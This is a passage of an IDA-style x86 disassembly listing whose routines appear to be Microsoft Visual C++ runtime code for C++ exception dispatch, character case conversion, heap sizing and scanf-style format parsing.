; CODE XREF: sub_416CBE+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_416DB3 jmp short loc_416E17 ; --------------------------------------------------------------------------- loc_416DF3: ; CODE XREF: sub_416CBE+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41701E add esp, 2Ch loc_416E17: ; CODE XREF: sub_416CBE+F3j ; sub_416CBE+133j mov edi, [ebp+var_10] loc_416E1A: ; CODE XREF: sub_416CBE+DEj ; sub_416CBE+E3j inc [ebp+var_4] add ebx, 14h jmp loc_416D8E ; --------------------------------------------------------------------------- loc_416E25: ; CODE XREF: sub_416CBE+D6j cmp [ebp+arg_14], 0 jz short loc_416E35 push 1 push esi call sub_417393 pop ecx pop ecx loc_416E35: ; CODE XREF: sub_416CBE+56j ; sub_416CBE+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_416E3A: ; CODE XREF: sub_416CBE+37j ; sub_416CBE+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_416E60 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_416E65 add esp, 20h jmp short loc_416E35 ; --------------------------------------------------------------------------- loc_416E60: ; CODE XREF: sub_416CBE+180j jmp sub_41746C sub_416CBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E65 proc near ; CODE XREF: sub_416CBE+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_462C44, 0 push esi push edi jz short loc_416E96 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_412B9A add esp, 1Ch test eax, eax jnz short loc_416F09 loc_416E96: ; CODE XREF: sub_416E65+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_412CC3 add esp, 14h mov esi, eax loc_416EB2: ; CODE XREF: sub_416E65+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_416F09 cmp edi, [esi] jl short loc_416F01 cmp edi, [esi+4] jg short loc_416F01 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_416EDB cmp byte ptr [ecx+8], 0 jnz short loc_416F01 loc_416EDB: ; CODE XREF: sub_416E65+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41701E add esp, 2Ch loc_416F01: ; CODE XREF: sub_416E65+57j ; sub_416E65+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_416EB2 ; --------------------------------------------------------------------------- loc_416F09: ; CODE XREF: sub_416E65+2Fj ; sub_416E65+53j pop edi pop esi leave retn sub_416E65 endp ; =============== S U B R O U T I N E ======================================= sub_416F0D proc near ; CODE XREF: sub_416CBE+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_416F64 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_416F64 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_416F3E add ecx, 8 push ecx push edx call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_416F60 loc_416F3E: ; CODE XREF: sub_416F0D+1Fj test byte ptr [esi], 2 jz short loc_416F48 test byte ptr [edi], 8 jz short loc_416F60 loc_416F48: ; CODE XREF: sub_416F0D+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_416F57 test byte ptr [edi], 1 jz short loc_416F60 loc_416F57: ; CODE XREF: sub_416F0D+43j test al, 2 jz short loc_416F64 test byte ptr [edi], 2 jnz short loc_416F64 loc_416F60: ; CODE XREF: sub_416F0D+2Fj ; sub_416F0D+39j ... xor eax, eax jmp short loc_416F67 ; --------------------------------------------------------------------------- loc_416F64: ; CODE XREF: sub_416F0D+Bj ; sub_416F0D+14j ... push 1 pop eax loc_416F67: ; CODE XREF: sub_416F0D+55j pop edi pop esi retn sub_416F0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F6A proc near ; CODE XREF: sub_416C23+34p ; sub_41701E+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41D7F0 push offset sub_419528 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_416F9C: ; CODE XREF: sub_416F6A+8Aj cmp esi, [ebp+arg_C] jz short loc_416FF6 cmp esi, 0FFFFFFFFh jle short loc_416FAB cmp esi, [edi+4] jl short loc_416FB0 loc_416FAB: ; CODE XREF: sub_416F6A+3Aj call sub_4174C2 loc_416FB0: ; CODE XREF: sub_416F6A+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_416FCB push 103h push ebx push eax call sub_417420 loc_416FCB: ; CODE XREF: sub_416F6A+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_416FEB ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_417008 pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_416FEB: ; CODE XREF: sub_416F6A+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_416F9C ; --------------------------------------------------------------------------- loc_416FF6: ; CODE XREF: sub_416F6A+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_416F6A endp ; =============== S U B R O U T I N E ======================================= sub_417008 proc near ; CODE XREF: sub_416F6A+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_417019 xor eax, eax retn ; --------------------------------------------------------------------------- loc_417019: ; CODE XREF: sub_417008+Cj jmp sub_41746C sub_417008 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41701E proc near ; CODE XREF: sub_416CBE+151p ; sub_416E65+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_417040 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4171CF add esp, 10h loc_417040: ; CODE XREF: sub_41701E+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_41704C push edi jmp short loc_41704F ; --------------------------------------------------------------------------- loc_41704C: ; CODE XREF: sub_41701E+29j push [ebp+arg_24] loc_41704F: ; CODE XREF: sub_41701E+2Cj call sub_412A9C mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_416F6A mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_417099 add esp, 2Ch test eax, eax jz short loc_417094 push edi push eax call sub_412A5A loc_417094: ; CODE XREF: sub_41701E+6Dj pop edi pop esi pop ebx pop ebp retn sub_41701E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417099 proc near ; CODE XREF: sub_41701E+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41D800 push offset sub_419528 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_462C3C mov [ebp+var_1C], ecx mov ecx, dword_462C40 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_462C3C, edi mov ecx, [ebp+arg_8] mov dword_462C40, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_412B21 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_41715F mov eax, [ebp+var_2C] loc_417126: ; CODE XREF: sub_41713F+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_417099 endp ; =============== S U B R O U T I N E ======================================= sub_417135 proc near ; DATA XREF: .nsp0:0041D810o push dword ptr [ebp-14h] call sub_4171A5 pop ecx retn sub_417135 endp ; =============== S U B R O U T I N E ======================================= sub_41713F proc near ; DATA XREF: .nsp0:0041D814o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_412D82 pop ecx pop ecx xor eax, eax jmp short loc_417126 sub_41713F endp ; --------------------------------------------------------------------------- loc_417157: ; DATA XREF: .nsp0:0041D808o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_41715F proc near ; CODE XREF: sub_417099+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_462C3C, eax mov eax, [ebp-20h] mov dword_462C40, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_4171A4 cmp dword ptr [edi+10h], 3 jnz short locret_4171A4 cmp dword ptr [edi+14h], 19930520h jnz short locret_4171A4 cmp [ebp-24h], ebx jnz short locret_4171A4 cmp [ebp-2Ch], ebx jz short locret_4171A4 call sub_412DEA push eax push edi call sub_417393 pop ecx pop ecx locret_4171A4: ; CODE XREF: sub_41715F+1Cj ; sub_41715F+22j ... retn sub_41715F endp ; =============== S U B R O U T I N E ======================================= sub_4171A5 proc near ; CODE XREF: sub_417135+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4171CC cmp dword ptr [eax+10h], 3 jnz short loc_4171CC cmp dword ptr [eax+14h], 19930520h jnz short loc_4171CC cmp dword ptr [eax+1Ch], 0 jnz short loc_4171CC push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4171CC: ; CODE XREF: sub_4171A5+Cj ; sub_4171A5+12j ... xor eax, eax retn sub_4171A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4171CF proc near ; CODE XREF: sub_41701E+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41D818 push offset sub_419528 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_417378 cmp byte ptr [eax+8], 0 jz loc_417378 mov eax, [ecx+8] test eax, eax jz loc_417378 mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_41726C mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_41A833 pop ecx pop ecx test eax, eax jz loc_41736F push 1 push edi call sub_41A84F pop ecx pop ecx test eax, eax jz loc_41736F mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_41725D: ; CODE XREF: sub_4171CF+F5j push eax call sub_4173FA pop ecx pop ecx mov [edi], eax jmp loc_417374 ; --------------------------------------------------------------------------- loc_41726C: ; CODE XREF: sub_4171CF+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4172C6 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_41A833 pop ecx pop ecx test eax, eax jz loc_41736F push 1 push edi call sub_41A84F pop ecx pop ecx test eax, eax jz loc_41736F push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_412E60 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_417374 mov eax, [edi] test eax, eax jz loc_417374 add esi, 8 push esi jmp short loc_41725D ; --------------------------------------------------------------------------- loc_4172C6: ; CODE XREF: sub_4171CF+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_41730E call sub_41A833 pop ecx pop ecx test eax, eax jz loc_41736F push 1 push edi call sub_41A84F pop ecx pop ecx test eax, eax jz short loc_41736F push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4173FA pop ecx pop ecx push eax push edi call sub_412E60 add esp, 0Ch jmp short loc_417374 ; --------------------------------------------------------------------------- loc_41730E: ; CODE XREF: sub_4171CF+103j call sub_41A833 pop ecx pop ecx test eax, eax jz short loc_41736F push 1 push edi call sub_41A84F pop ecx pop ecx test eax, eax jz short loc_41736F push dword ptr [esi+18h] call sub_41A86B pop ecx test eax, eax jz short loc_41736F test byte ptr [esi], 4 jz short loc_417355 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4173FA pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_412A95 jmp short loc_417374 ; --------------------------------------------------------------------------- loc_417355: ; CODE XREF: sub_4171CF+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4173FA pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_412A8E jmp short loc_417374 ; --------------------------------------------------------------------------- loc_41736F: ; CODE XREF: sub_4171CF+6Aj ; sub_4171CF+7Cj ... call sub_4174C2 loc_417374: ; CODE XREF: sub_4171CF+98j ; sub_4171CF+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_417378: ; CODE XREF: sub_4171CF+2Ej ; sub_4171CF+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4171CF endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41746C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417393 proc near ; CODE XREF: sub_416CBE+170p ; sub_41715F+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41D828 push offset sub_419528 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4173DA mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4173DA and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_412A8E or [ebp+var_4], 0FFFFFFFFh loc_4173DA: ; CODE XREF: sub_417393+2Aj ; sub_417393+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_417393 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41746C ; =============== S U B R O U T I N E ======================================= sub_4173FA proc near ; CODE XREF: sub_4171CF+8Fp ; sub_4171CF+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_41741B mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41741B: ; CODE XREF: sub_4173FA+12j pop esi retn sub_4173FA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417420 proc near ; CODE XREF: sub_412B21+40p ; sub_416F6A+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_412E0D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_41745F mov ecx, 2 loc_41745F: ; CODE XREF: sub_417420+38j push ecx call sub_412E0D pop ebp pop ecx pop ebx leave retn 0Ch sub_417420 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41746C proc near ; CODE XREF: sub_416CBE:loc_416E60j ; sub_417008:loc_417019j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0041A883 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41D838 push offset sub_419528 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_462C48 test eax, eax jz short loc_4174B4 mov [ebp+var_4], 1 call eax ; dword_462C48 jmp short loc_4174B0 ; --------------------------------------------------------------------------- loc_4174A9: ; DATA XREF: .nsp0:0041D848o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4174AD: ; DATA XREF: .nsp0:0041D84Co mov esp, [ebp+var_18] loc_4174B0: ; CODE XREF: sub_41746C+3Bj and [ebp+var_4], 0 loc_4174B4: ; CODE XREF: sub_41746C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4174BD: ; DATA XREF: .nsp0:0041D840o jmp loc_41A883 sub_41746C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4174C2 proc near ; CODE XREF: sub_412CC3+23p ; sub_412CC3:loc_412D2Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41D850 push offset sub_419528 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_431814 test eax, eax jz short loc_41750A mov [ebp+var_4], 1 call eax ; sub_41746C jmp short loc_417506 ; --------------------------------------------------------------------------- loc_4174FF: ; DATA XREF: .nsp0:0041D860o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_417503: ; DATA XREF: .nsp0:0041D864o mov esp, [ebp+var_18] loc_417506: ; CODE XREF: sub_4174C2+3Bj and [ebp+var_4], 0 loc_41750A: ; CODE XREF: sub_4174C2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_417513: ; DATA XREF: .nsp0:0041D858o jmp sub_41746C sub_4174C2 endp ; =============== S U B R O U T I N E ======================================= sub_417518 proc near ; CODE XREF: sub_4131A3+7p ; sub_4131A3+26p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_4153CD test eax, eax pop ecx jz short loc_417530 mov eax, [esi-4] pop esi sub eax, 9 retn ; --------------------------------------------------------------------------- loc_417530: ; CODE XREF: sub_417518+Ej push esi push 0 push dword_464220 call dword_41D180 ; RtlSizeHeap pop esi retn sub_417518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417541 proc near ; CODE XREF: sub_413251+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_462C58, 0 push ebx jnz short loc_41756C mov eax, [ebp+arg_0] cmp eax, 61h jl loc_41760A cmp eax, 7Ah jg loc_41760A sub eax, 20h jmp loc_41760A ; --------------------------------------------------------------------------- loc_41756C: ; CODE XREF: sub_417541+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_41759F cmp dword_4316BC, 1 jle short loc_41758C push 2 push ebx call sub_414E26 pop ecx pop ecx jmp short loc_417597 ; --------------------------------------------------------------------------- loc_41758C: ; CODE XREF: sub_417541+3Dj mov eax, off_4314B0 mov al, [eax+ebx*2] and eax, 2 loc_417597: ; CODE XREF: sub_417541+49j test eax, eax jnz short loc_41759F loc_41759B: ; CODE XREF: sub_417541+AFj mov eax, ebx jmp short loc_41760A ; --------------------------------------------------------------------------- loc_41759F: ; CODE XREF: sub_417541+34j ; sub_417541+58j mov edx, off_4314B0 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4175C2 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_4175CB ; --------------------------------------------------------------------------- loc_4175C2: ; CODE XREF: sub_417541+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_4175CB: ; CODE XREF: sub_417541+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_462C58 call loc_418641 add esp, 20h test eax, eax jz short loc_41759B cmp eax, 1 jnz short loc_4175FD movzx eax, [ebp+var_4] jmp short loc_41760A ; --------------------------------------------------------------------------- loc_4175FD: ; CODE XREF: sub_417541+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41760A: ; CODE XREF: sub_417541+14j ; sub_417541+1Dj ... pop ebx leave retn sub_417541 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41760D proc near ; CODE XREF: sub_413470+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_418013 mov edi, [ebp+arg_0] jmp short loc_41763C ; --------------------------------------------------------------------------- loc_417637: ; CODE XREF: sub_41760D+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_41763C: ; CODE XREF: sub_41760D+28j cmp dword_4316BC, 1 jle short loc_417654 movzx eax, al push 8 push eax call sub_414E26 pop ecx pop ecx jmp short loc_417663 ; --------------------------------------------------------------------------- loc_417654: ; CODE XREF: sub_41760D+36j mov ecx, off_4314B0 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_417663: ; CODE XREF: sub_41760D+45j cmp eax, ebx jz short loc_41769D dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41809A pop ecx pop ecx push eax call sub_418083 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41A962 add esp, 0Ch loc_41768B: ; CODE XREF: sub_41760D+8Ej test eax, eax jz short loc_41769D movzx eax, byte ptr [esi+1] inc esi push eax call sub_41A962 pop ecx jmp short loc_41768B ; --------------------------------------------------------------------------- loc_41769D: ; CODE XREF: sub_41760D+58j ; sub_41760D+80j cmp byte ptr [esi], 25h jnz loc_417F7F and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4176D4: ; CODE XREF: sub_41760D+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_4316BC, 1 jle short loc_4176F1 movzx eax, bl push 4 push eax call sub_414E26 pop ecx pop ecx jmp short loc_417700 ; --------------------------------------------------------------------------- loc_4176F1: ; CODE XREF: sub_41760D+D3j mov ecx, off_4314B0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_417700: ; CODE XREF: sub_41760D+E2j test eax, eax jz short loc_417716 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_41777B ; --------------------------------------------------------------------------- loc_417716: ; CODE XREF: sub_41760D+F5j cmp ebx, 4Eh jg short loc_417759 jz short loc_41777B cmp ebx, 2Ah jz short loc_417754 cmp ebx, 46h jz short loc_41777B cmp ebx, 49h jz short loc_417736 cmp ebx, 4Ch jnz short loc_417768 inc [ebp+var_D] jmp short loc_41777B ; --------------------------------------------------------------------------- loc_417736: ; CODE XREF: sub_41760D+11Dj cmp byte ptr [esi+1], 36h jnz short loc_417768 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_417768 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_41777B ; --------------------------------------------------------------------------- loc_417754: ; CODE XREF: sub_41760D+113j inc [ebp+var_E] jmp short loc_41777B ; --------------------------------------------------------------------------- loc_417759: ; CODE XREF: sub_41760D+10Cj cmp ebx, 68h jz short loc_417775 cmp ebx, 6Ch jz short loc_41776D cmp ebx, 77h jz short loc_417770 loc_417768: ; CODE XREF: sub_41760D+122j ; sub_41760D+12Dj ... inc [ebp+var_F] jmp short loc_41777B ; --------------------------------------------------------------------------- loc_41776D: ; CODE XREF: sub_41760D+154j inc [ebp+var_D] loc_417770: ; CODE XREF: sub_41760D+159j inc [ebp+var_5] jmp short loc_41777B ; --------------------------------------------------------------------------- loc_417775: ; CODE XREF: sub_41760D+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_41777B: ; CODE XREF: sub_41760D+107j ; sub_41760D+10Ej ... cmp [ebp+var_F], 0 jz loc_4176D4 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4177A0 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4177A0: ; CODE XREF: sub_41760D+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4177BE mov al, [esi] cmp al, 53h jz short loc_4177BA cmp al, 43h jz short loc_4177BA or [ebp+var_5], 0FFh jmp short loc_4177BE ; --------------------------------------------------------------------------- loc_4177BA: ; CODE XREF: sub_41760D+1A1j ; sub_41760D+1A5j mov [ebp+var_5], 1 loc_4177BE: ; CODE XREF: sub_41760D+19Bj ; sub_41760D+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4177F7 cmp esi, 63h jz short loc_4177E8 cmp esi, 7Bh jz short loc_4177E8 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41809A pop ecx jmp short loc_4177F3 ; --------------------------------------------------------------------------- loc_4177E8: ; CODE XREF: sub_41760D+1C5j ; sub_41760D+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_418069 loc_4177F3: ; CODE XREF: sub_41760D+1D9j pop ecx mov [ebp+var_14], eax loc_4177F7: ; CODE XREF: sub_41760D+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_417807 cmp [ebp+var_C], eax jz loc_417FE3 loc_417807: ; CODE XREF: sub_41760D+1EFj cmp esi, 6Fh jg loc_417A6E jz loc_417D20 cmp esi, 63h jz loc_417A4B cmp esi, 64h jz loc_417D20 jle loc_417A98 cmp esi, 67h jle short loc_41786B cmp esi, 69h jz short loc_417853 cmp 